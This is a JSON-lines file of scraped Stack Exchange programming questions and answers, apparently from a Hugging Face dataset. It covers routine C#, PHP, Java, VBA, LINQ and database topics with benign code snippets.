{"id": "hf_9f870b18ae77", "question": "<p>I'm working on a C# program, and right now I have one <code>Form</code> and a couple of classes. I would like to be able to access some of the <code>Form</code> controls (such as a <code>TextBox</code>) from my class. When I try to change the text in the <code>TextBox</code> from my class I get the following error:</p>\n\n<blockquote>\n  <p>An object reference is required for the non-static field, method, or property 'Project.Form1.txtLog'   </p>\n</blockquote>\n\n<p>How can I access methods and controls that are in <code>Form1.cs</code> from one of my classes?</p>\n", "question_body": "", "answer": "you have to have a reference to the form object in order to access its elements\nthe elements have to be declared public in order for another class to access them\ndon't do this - your class has to know too much about how your form is implemented; do not expose form controls outside of the form class\ninstead, make public properties on your form to get/set the values you are interested in\npost more details of what you want and why, it sounds like you may be heading off in a direction that is not consistent with good encapsulation practices", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:25.562031"}
{"id": "hf_2def9b16eb8c", "question": "<p>Is there a standard way to convert an XSD to an input form (ASP.NET C#) so that later on whenever a new field is added / removed from the XSD the field on the page automatically shows up or goes away respectively, is this something which needs to be developed in-house I assume there must be a way to serializes / deserializes and generates a form? Any hel would be appreciated..</p>\n", "question_body": "", "answer": "Assumption: You're using XML because it is simpler for you at the moment.\nIdea: Since you want to create a form to manipulate the data, I'm guessing you might be open to SQL instead of XML. This may not be the case, but you will probably find more tools to help you if you have a database backend instead of an XML/XSD backend. (Plus there are ways you can convert your data from one to another).\nThere are tools that create forms from databases in ASP.NET. SubSonic, for example, has a auto-scaffolding module that lets you create a database manager knowing only its schema. If the schema changes, just have SubSonic regenerate its files and your forms will have been modified. It isn't perfect, but it may go a long way, depending on your needs.\nOption 1) You can create the database schema from the XSD (\nHow can I create database tables from XSD files?\n) and use SubSonic from that point on. This may be even more of a pain than you original question... only you know.\nOption 2) Hack the SubSonic scaffolding so that it supports your underlying XSD/XML instead of a database. You can probably re-use lots of their infrastructure (SubSonic is open source) to generate the form from an XSD.\nGood luck!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:25.586554"}
{"id": "hf_6c9134608501", "question": "<p>I have a PHP form (mortgage app) that is about 400 fields, traffic on the site will be low.</p>\n\n<p>What is the ideal Session size for 400 fields going into a MySQL db?</p>\n\n<p>In <code>php.ini</code> what do I set?</p>\n\n<p>Anything I should set that I am missing?</p>\n", "question_body": "", "answer": "Well, personally I have had very large sessions before with very little problems. Probably the largest size I've had before is ~10MB. It's not optimal, but I haven't had a problem with slow scripts even with that size. I wouldn't worry about sessions getting to large, but I would try to keep it under control. My theory is, if keeping it in the session makes it much faster than quering the database every time (such as in the case of a search) then I go for it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:25.624056"}
{"id": "hf_516a7ebe1cf7", "question": "<p>I have data in a MySQL database. I am sending the user a URL to get their data out as a CSV file.</p>\n\n<p>I have the e-mailing of the link, MySQL query, etc. covered.</p>\n\n<p>How can I, when they click the link, have a pop-up to download a CVS with the record from MySQL? </p>\n\n<p>I have all the information to get the record already. I just don't see how to have PHP create the CSV file and let them download a file with a .csv extension.</p>\n", "question_body": "", "answer": "To have it send it as a CSV and have it give the file name, use header():\nhttp://us2.php.net/header\n```\n```\nheader('Content-type: text/csv');\nheader('Content-disposition: attachment; filename=\"myfile.csv\"');\n```\n```\nAs far as making the CSV itself, you would just loop through the result set, formatting the output and sending it, just like you would any other content.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:25.648542"}
{"id": "hf_19a362bac955", "question": "<p>We are all talking about the efficiency of the algorithms and it depends on input size -basically.</p>\n\n<p>How about the system specifications of current computer that runs the algorithm? does it make any difference to run a different sorting algorithm in a Core 2 Duo 2.6 GHZ, 4 GB RAM-computer or in a P-2, 256 MB RAM-computer?</p>\n\n<p>I am sure that there must be a performance difference. But, I want to know what is the real relationship between algorithms and system specifications...</p>\n", "question_body": "", "answer": "An increase in hardware performance will give you a constant C times the running time of your algorithm.   Meaning if you have computer A which is overall 2 times slower than computer B.  Than your algorithm will be twice as fast on computer B.   Twice as fast though really makes hardly no difference when you consider big input values to an algorithm though.\nIn big O notation\nthat is to say you will have something like O(n) compared to C\nO(n) = O(c\nn) = O(n).  The complexity of the algorithm and general running time for large values will be about the same on both Computer A and Computer B.\nIf you analyze an algorithm's running time using something like big O notation, then you will have a much better idea about how the algorithm really works.   Computer performance won't give you any kind of advantage when you are comparing an algorithm that is O(logn) compared to O(n^2).\nTake a look at some of the data values for n:\nI will assume 1 second per operation for the slow computer, and 2 operations for second for the fast computer.  I will compare the better algorithm with the slow computer with the worse algorithm with the fast computer.\nfor n = 10:\nAlgorithm 1: O(logn): 4 operations \n  Slow computer: 4 seconds\nAlgorithm 2: O(n^2): 100 operations \n  Fast computer: 50 seconds\nfor n = 100:\nAlgorithm 1: O(logn): 7 operations \n  Slow computer: 7 seconds\nAlgorithm 2: O(n^2): 10,000\n  operations  Fast computer: 1.4 hours\nLarge difference\nfor n = 1,000:\nAlgorithm 1: O(logn): 10 operations \n  Slow computer: 10 seconds\nAlgorithm 2: O(n^2): 1,000,000\n  operations  Fast computer: 5.8 days\nHuge difference\nAs n increases, the difference gets bigger and bigger.\nNow if you tried to run each of these algorithms on a faster/slower computer for a large input size.  It wouldn't matter.  Hands down the O(logn) would be faster.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:25.768040"}
{"id": "hf_76180d7bf1e5", "question": "<p>What is appropriate way to integrate SpringSecurity with Capcha ? </p>\n\n<p>I have following use case :\nWhen user will tries to login, if we he failed to login N times, captcha will be displayed, so authentication will be using three parameters : username, password, captcha. But Spring Security doesn't support built in Captcha handling. </p>\n\n<p>I just start thinking about implementation. And have following variants:</p>\n\n<ul>\n<li>Adding separate security filter in Spring Security filter stack, </li>\n<li>Entirely rewrite AuthenticationProcessingFilter to support some Captcha</li>\n<li>Use some programmatic authentication with interception captcha logic and then transfering username and password to Spring Security</li>\n</ul>\n\n<p>As a Captcha implementation I think about JCaptcha, but what your thougths?</p>\n", "question_body": "", "answer": "As an alternative to using JCaptcha, if you'd like to use the\nreCAPTCHA Service\non your site, then check out the free Section 4.4 (\ndirect PDF link\n) of the new\nSpring in Practice\nbook (currently in beta).\nThis shows you integration with Spring MVC and Spring Validation. Since the integration is on the front-end, w/external APIs, Spring Security doesn't really come into the picture here.\nI am not sure what your use case is? Are you hoping to use captchas as an alternative to authentication to prove \"human\"-ness?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:25.810353"}
{"id": "hf_903a0c616693", "question": "<p>I'm creating an app that will have to put at max 32 GB of data into my database.  I am using B-tree indexing because the reads will have range queries (like from 0 &lt; time &lt; 1hr).</p>\n<p>At the beginning (database size = 0GB), I will get 60 and 70 writes per millisecond.  After say 5GB, the three databases I've tested (H2, berkeley DB, Sybase SQL Anywhere) have REALLY slowed down to like under 5 writes per millisecond.</p>\n<p><strong>Questions:</strong></p>\n<ul>\n<li>Is this typical?</li>\n<li>Would I still see this scalability issue if I REMOVED indexing?</li>\n<li>What are the causes of this problem?</li>\n</ul>\n<p><strong>Notes:</strong></p>\n<p>Each record consists of a few ints</p>\n", "question_body": "", "answer": "Yes; indexing improves fetch times at the cost of insert times. Your numbers sound reasonable - without knowing more.\nYou can benchmark it. You'll need to have a reasonable amount of data stored. Consider whether or not to index based upon the queries - heavy fetch and light insert? index everywhere a where clause might use it. Light fetch, heavy inserts? Probably avoid indexes. Mixed workload; benchmark it!\nWhen benchmarking, you want as real or realistic data as possible, both in volume and on data domain (distribution of data, not just all \"henry smith\" but all manner of names, for example).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:25.847500"}
{"id": "hf_967c431d98e1", "question": "<p>How fast is <a href=\"http://php.net/manual/en/function.php-uname.php\" rel=\"nofollow noreferrer\">php_uname()</a> say doing <code>php_uname('s n')</code> or <code>php_uname('a')</code>. The reason I ask is because I'd like to use it to determine which server I'm on and therefore the configuration (paths, etc).</p>\n\n<p>This is related to <a href=\"https://stackoverflow.com/questions/211885/is-there-a-php-function-or-variable-giving-the-local-host-name\">Is there a PHP function or variable giving the local host name?</a></p>\n", "question_body": "", "answer": "I just did this:\n```\n```\n<?php\n  $tstart = microtime(true);\n\n  php_uname('a');\n\n  print 'it took '. sprintf(\"%f\",microtime(true) - $tstart) .\" seconds\\n\";\n?>\n```\n```\nAnd it produced this:\n```\n```\nit took 0.000016 seconds\n```\n```\nThat is on a Core2Duo 2.4GHz Debian box.\nI know it is an empirical test and all but I think that it shows that it will be fast enough for you.\nI did not expect it to take a long time since uname only needs to make a very simple call to the kernel.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:25.920125"}
{"id": "hf_4ce96ee860d1", "question": "<p>I'm trying to create a <em>fast</em> 2D point inside polygon algorithm, for use in hit-testing (e.g. <code>Polygon.contains(p:Point)</code>). Suggestions for effective techniques would be appreciated.</p>\n", "question_body": "", "answer": "The trivial solution would be to divide the polygon to triangles and hit test the triangles as explained\nhere\nIf your polygon is\nCONVEX\nthere might be a better approach though. Look at the polygon as a collection of infinite lines. Each line dividing space into two. for every point it's easy to say if its on the one side or the other side of the line. If a point is on the same side of all lines then it is inside the polygon.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:25.957102"}
{"id": "hf_6e97ca6a5577", "question": "<p>I have several xml files, the names of which are stored in another xml file. </p>\n\n<p>I want to use xsl to produce a summary of the combination of the xml files. I remember there was a way to do this with the msxml extensions (I'm using msxml).</p>\n\n<p>I know I can get the content of each file using <code>select=\"document(filename)\"</code> but I'm not sure how to combine all these documents into one.</p>\n\n<p>21-Oct-08 I should have mentioned that I want to do further processing on the combined xml, so it is not sufficient to just output it from the transform, I need to store it as a node set in a variable.</p>\n", "question_body": "", "answer": "Have a look at the\n```\ndocument()\n```\nfunction documentation\n.\nYou can use\n```\ndocument()\n```\nto load further XML documents during the transformation process. They are loaded as node sets. That means you would initially feed the XML that contains the file names to load to the XSLT, and take it from there:\n```\n```\n<xsl:copy-of select=\"document(@href)/\"/>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:25.980766"}
{"id": "hf_1caa2d701afc", "question": "<p>I have an existing Perl program that uses <code>Getopt</code> package and <code>Getopt::Long::Configure</code> with <code>permute</code> as one of the options. However, now I need to keep the order of the options entered by the user. There is an option <code>$RETURN_IN_ORDER</code> mentioned in the <code>Long.pm</code>, however doesn't seem to be used anywhere at all. </p>\n\n<p>When I pass <code>return_in_order</code>, I am getting the following error.</p>\n\n<hr>\n\n<blockquote>\n  <p>Getopt::Long: unknown config parameter \"return_in_order\" at C:/Program Files/IBM/RationalSDLC/common/lib/perl5/5.8.6/Getopt/Long.pm line 1199.</p>\n</blockquote>\n\n<hr>\n\n<p>Can someone please tell me if this is supported at all and if so, the right way to use? If not, I would like to know the other alternatives I have.</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "It's called\n```\nrequire_order\n```\n, according to the manpage I have here. :-)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:26.014481"}
{"id": "hf_827989823836", "question": "<p>I'm a little confused by some PHP syntax I've come across.  Here is an example:</p>\n\n<pre><code>$k = $this-&gt;_tbl_key;\n\nif( $this-&gt;$k)\n{\n   $ret = $this-&gt;_db-&gt;updateObject( $this-&gt;_tbl, $this, $this-&gt;_tbl_key, $updateNulls );\n}\nelse\n{\n    $ret = $this-&gt;_db-&gt;insertObject( $this-&gt;_tbl, $this, $this-&gt;_tbl_key );\n}\n</code></pre>\n\n<p>My question is basically what does <code>$this-&gt;$k</code> mean?  I figured it might mean the member variable that goes by the name of whatever is in <code>$this-&gt;_tbl_key</code>, but how would that work?  Is it possible to add member variables to a class at run-time?</p>\n", "question_body": "", "answer": "It'll look up whatever the value of \"k\" is, and treat it as a variable name. These two samples are the same:\n```\n```\necho ($obj->myvar);\n\n####\n\n$k = \"myvar\";\necho ($obj->$k);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:26.036456"}
{"id": "hf_1f52a65fe39c", "question": "<p>Is there any advantage to using <code>__construct()</code> instead of the class's name for a constructor in PHP?</p>\n\n<p>Example (<code>__construct</code>):</p>\n\n<pre><code>class Foo {\n    function __construct(){\n        //do stuff\n    }\n}\n</code></pre>\n\n<p>Example (named):</p>\n\n<pre><code>class Foo {\n    function Foo(){\n        //do stuff\n    }\n}\n</code></pre>\n\n<p>Having the <code>__construct</code> method (first example) is possible since PHP 5.</p>\n\n<p>Having a method with the same name as the class as constructor (second example) is possible from PHP version 4 until version 7.</p>\n", "question_body": "", "answer": "```\n__construct\n```\nwas introduced in PHP5. It is the way you are supposed to do it now. I am not aware of any\nadvantages\nper se, though.\nFrom the PHP manual:\nFor backwards compatibility, if PHP 5 cannot find a __construct() function for a given class, it will search for the old-style constructor function, by the name of the class. Effectively, it means that the only case that would have compatibility issues is if the class had a method named __construct() which was used for different semantics\nIf you're on PHP5 I would recommend using\n```\n__construct\n```\nto avoid making PHP look elsewhere.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:26.071316"}
{"id": "hf_24ebcb452442", "question": "<p>I'm using Entity Framework O/R mapper from Microsoft and using entity classes (generated classes that are mapped to DB objects) as a business objects. \nIs this OK? Please state your cons or pros. What to do in a case of WCF communication between business layer and presentation, how to send those objects as data members?</p>\n", "question_body": "", "answer": "The Entity framework was designed for the entity objects to be used as business objects, but you should keep in mind that the business objects will be tied to O/R technology as well as the EDM model. In EF 1.0, there wasn't any support for\npersistence-ignorance\nscenarios, but support was added in 4.0. You can implement\ninterfaces\n, if you don't want to use any of their base classes.\nAs of .NET 3.5 SP1, they should also be usable as paramater and return types in WCF service methods without any additional code.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:26.107140"}
{"id": "hf_8537879f56fa", "question": "<p>I have faced this problem quite often during the last couple of months, during which I've been building this system. The scenario is this: I have this kind of object that essentially is a list of other objects, but has some other properties specific of its nature. For example:</p>\n\n<ul>\n<li>Class <code>Tests</code>:\n\n<ul>\n<li>Contains many <code>Test</code> objects</li>\n<li>Has properties:\n\n<ul>\n<li><code>DefaultTimeouts</code></li>\n<li><code>DefaultNumberOfTries</code></li>\n</ul></li>\n</ul></li>\n</ul>\n\n<p>Should I have this class subclass <code>List&lt;Test&gt;</code> or should I have it inheriting from <code>Object</code>, simply having the list as a property beside the other fields?</p>\n\n<p>I know that this may be a bit subjective and personal taste might play a role here, but I'd wholeheartedly like to know your opinion on this.</p>\n", "question_body": "", "answer": "If it literally does everything a\n```\nList\n```\nwould do, and all the\n```\nList\n```\nfunctions would act on the\n```\nTests\n```\nobject in an intuitive way that gives the correct result, then in my opinion it should just subclass\n```\nList<Test>\n```\n.\nOtherwise, you'll just have a class with a ton of methods which just call a method of the same name on the\n```\nList<Test>\n```\nvariable in the instance. That'll just be an imperfect extension of the\n```\nList<Test>\n```\nclass itself.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:26.131696"}
{"id": "hf_1229ebb0c47b", "question": "<p>As you can see this is a question from a non web developer. I would like to have an ASPX page which, under certain circumstances, can generate a 401 error from code. Ideally it would show the IIS standard page.</p>\n", "question_body": "", "answer": "You should be able to just use the following, according to\nMSDN\n.\n```\n```\nThrow New HttpException(401, \"Auth Failed\")\n```\n```\nEdit\nAfter seeing the other responses setting the status code would be more appropriate.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:26.175158"}
{"id": "hf_aae9416e8c86", "question": "<p>Do these two keywords have exactly the same effect, or is there something I should be aware of?</p>\n", "question_body": "", "answer": "According to this site:\nhttp://en.csharp-online.net/CSharp_FAQ:_What_is_the_difference_between_CSharp_lock_and_Java_synchronized\n, C#\n```\nlock\n```\nand Java\n```\nsynchronized\n```\ncode blocks are \"semantically identical\", while for methods, Java uses\n```\nsynchronized\n```\nwhile C# uses an attribute:\n```\n[MethodImpl(MethodImplOptions.Synchronized)]\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:26.200781"}
{"id": "hf_5e560a140cd0", "question": "<p>What's the best way to format this for readability?</p>\n\n<pre><code>if (strpos($file, '.jpg',1) &amp;&amp; file_exists(\"$thumbsdir/$file\") == false || strpos($file, '.gif',1) &amp;&amp; file_exists(\"$thumbsdir/$file\") == false || strpos($file, '.png',1) &amp;&amp; file_exists(\"$thumbsdir/$file\") == false) {\n  createThumb(\"$gallerydir/$file\", \"$thumbsdir/$file\",$thumbsize);\n  fwrite($log,date(\"Y-m-d\").\" @ \".date(\"H:i:s\").\"  CREATED: $thumbsdir/$file\\n\");\n}\n</code></pre>\n", "question_body": "", "answer": "```\n```\nif ((strpos($file, '.jpg',1) ||\n     strpos($file, '.gif',1) ||\n     strpos($file, '.png',1))\n    && file_exists(\"$thumbsdir/$file\") == false)\n{\n  createThumb(\"$gallerydir/$file\", \"$thumbsdir/$file\",$thumbsize);\n  fwrite($log,date(\"Y-m-d\").\" @ \".date(\"H:i:s\").\"  CREATED: $thumbsdir/$file\\n\");\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:26.225788"}
{"id": "hf_f2e0444d1934", "question": "<p>I would really like to annotate a method with a reference to a single property in a property file for injection.</p>\n\n<pre><code>@Resource(\"${my.service.url}\")\nprivate String myServiceUrl;\n</code></pre>\n\n<p>Of course, this syntax does not work ;) Thats why I'm asking here.</p>\n\n<p>I am aware that I can inject the full properties file, but that just seems excessive, I dont want the property file - I want the configured value.</p>\n\n<p>Edit: I can only see PropertyPlaceholderConfigurer examples where XML is used to wire the property to the given field. I still cannot figure out how this can be achieved with an annotation ? </p>\n", "question_body": "", "answer": "You could try injecting value of property \"my.service.url\" to a filed in your bean.\nTake a look at:\nhttp://static.springframework.org/spring/docs/2.5.x/reference/beans.html#beans-factory-placeholderconfigurer\nHTH.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:26.261463"}
{"id": "hf_a6b1f1932be3", "question": "<p>With the asp.net MVC framework the blogs of the team members (Rob Conery, Phil Haack etc) really helped me on my way and made me feel comfortable the development was going in the right direction.\nIs there something similar for Silverlight?</p>\n\n<p>-Edit:\nI would like to mention that I would like to find members of the dev team themselves.\nCurrently the support for Silverlight across OS and browser is just too poor to make me care and invest time in it.\nBut I would like to keep a spying eye out so I can start caring when the framework fulfils it's potentials.</p>\n", "question_body": "", "answer": "Method ~ of ~ failed by Tim Heuer:\nhttp://feeds.timheuer.com/timheuer-silverlight\nJesse Liberty - Silverlight Geek:\nhttp://feeds.feedburner.com/JesseLiberty-SilverlightGeek\nCommunity Silverlight content:\nhttp://silverlight.net/blogs/community/rss.aspx\nSilverlight Tips of the Day\nhttp://silverlight.net/blogs/msnow/default.aspx\nPodcasts:\nhttp://www.sparklingclient.com/\nWynapse (Mining the Web for Silverlight so YOU don't have to):\nhttp://geekswithblogs.net/WynApseTechnicalMusings/Default.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:26.297296"}
{"id": "hf_5467ae95cbda", "question": "<p>Can I access spring bean that exposed using http invoker (server) from GWT application (client)?</p>\n<p>If so is there any example / tutorial for that?</p>\n", "question_body": "", "answer": "There's an application template for Spring-GWT apps available\nhere\n, that you may find useful. I haven't tried it out, but I believe it's implemented as a Maven archetype.\nFor more background on exactly what this template does for you, and how to integrate GWT with Spring, check out the following (video)\npresentation\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:26.398362"}
{"id": "hf_a0a27e142a30", "question": "<p>Anyone have any idea how to get the value of \"Language for Non-Unicode Programs\" in Control Panel Regional Settings programmatically using c#?</p>\n\n<p>Already tried CultureInfo, RegionInfo and getting the default encoding using the Encoding object, but I can only get the Standards and Formats value or the main code page. </p>\n", "question_body": "", "answer": "IIRC,\n```\nThread.CurrentUICulture\n```\ngets that value.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:26.459413"}
{"id": "hf_aab5cb980e65", "question": "<p>What is the most efficient way to write the old-school:</p>\n\n<pre><code>StringBuilder sb = new StringBuilder();\nif (strings.Count &gt; 0)\n{\n    foreach (string s in strings)\n    {\n        sb.Append(s + \", \");\n    }\n    sb.Remove(sb.Length - 2, 2);\n}\nreturn sb.ToString();\n</code></pre>\n\n<p>...in LINQ?</p>\n", "question_body": "", "answer": "Have you looked at the Aggregate extension method?\n```\n```\nvar sa = (new[] { \"yabba\", \"dabba\", \"doo\" }).Aggregate((a,b) => a + \",\" + b);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:26.483272"}
{"id": "hf_cb19cc6264a1", "question": "<p>I build VBA applications for both Word and Excel, is there any way to access the progress bar that sometimes appears in the Office status bar.</p>\n", "question_body": "", "answer": "I have not accessed the progress bar, but I have in the past used something like this to place task status text in the status bar...\n```\n```\nSub StatusBarExample()\n    Application.ScreenUpdating = False \n    ' turns off screen updating\n    Application.DisplayStatusBar = True \n    ' makes sure that the statusbar is visible\n    Application.StatusBar = \"Please wait while performing task 1...\"\n    ' add some code for task 1 that replaces the next sentence\n    Application.Wait Now + TimeValue(\"00:00:02\")\n    Application.StatusBar = \"Please wait while performing task 2...\"\n    ' add some code for task 2 that replaces the next sentence\n    Application.Wait Now + TimeValue(\"00:00:02\")\n    Application.StatusBar = False \n    ' gives control of the statusbar back to the programme\nEnd Sub\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:26.506171"}
{"id": "hf_6bd6ef24892d", "question": "<p>Apart from just inserting and parsing text into a blank Word field, is there any way to programmatically build user-defined fields and field codes into my own templates with VBA? Furthermore, is there a way to make these fields show up in the list of available fields?</p>\n", "question_body": "", "answer": "What had you in mind? It is possible to add custom document properties either manually or with VBA. These are the accessible as fields under DOCPROPERTY:\n```\n```\n{ DOCPROPERTY \"Test\"  \\* MERGEFORMAT }\n```\n```\nYou can use a macro to ensure that the custom property is added to documents:\n```\n```\nSub AutoNew()\nDim objCustomProperties As DocumentProperties\n\nSet objCustomProperties = ActiveDocument.CustomDocumentProperties\n\nobjCustomProperties.Add Name:=\"Test\", _\n   Type:=msoPropertyTypeString, Value:=\"Blah\", _\n   LinkToContent:=False\n\nEnd Sub\n```\n```\nFurther Information\nAutomacros:\nhttp://msdn.microsoft.com/en-us/library/aa263747(office.10).aspx\nUnderstanding Custom Document Properties in Microsoft Office Word 2003:\nhttp://msdn.microsoft.com/en-us/library/aa537154.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:26.530727"}
{"id": "hf_61f3c64f8e11", "question": "<p>We are looking for a open source J2EE Application server for log budget deployments. We are considering JBoss and Glassfish. Which is the best open source application server? Any comparative study available?</p>\n", "question_body": "", "answer": "A comparison table between JBoss, Geronimo and Tomcat for latter 2007.\nThis article\nhas many interesting points to aid your decision and is worth reading:\nGeronimo 2 is the clear choice if your\n  Java application needs are\n  particularly extensive or if you just\n  want to leverage total Java EE 5\n  compliance.\nAlthough JBoss 4.2 is not\n  completely compatible with Sun's Java\n  EE 5 standard, the JBoss 4.2 team is\n  responsible for many of the\n  cutting-edge technologies used by all\n  of the servers and added to the\n  standard Java EE 5 capabilities.\n  Tomcat 6 by itself is a lightweight\n  solution. It does not come with all\n  the Java EE features and additional\n  packages found in JBoss and Geronimo,\n  but also doesn't require much memory\n  and runs fast even on smaller servers.\nIn conclusion the author says:\nBottom line: JBoss, Geronimo, and\n  Tomcat are reliable, fast, and\n  definitely able to handle the traffic\n  on large-scale enterprise\n  applications. Furthermore, many of the\n  high-demand Java server technologies\n  presented in the features comparison\n  originate from the open source world,\n  not the commercial one.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:26.572124"}
{"id": "hf_98afa53bc129", "question": "<p>A page executes a number of tasks and takes a long time to process. We want to give the user feedback as each task is completed. </p>\n\n<p>In ASP.NET webforms we used <code>Response.Flush()</code></p>\n\n<p>What way would you a approach this in ASP.NET MVC?</p>\n", "question_body": "", "answer": "You can make it in client side. In each step, you set some session variable with the current step. Then, You make another action in your controller say called: \"GetProgress\" and assign a view and URI for it.\nIn the action, you will check this session and return the current progress of your task. In the client side, make a timer (i.e setTimeOut) and you invoke the URI of the later controller action every specific amount of time - 1 second or so. That is it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:26.596418"}
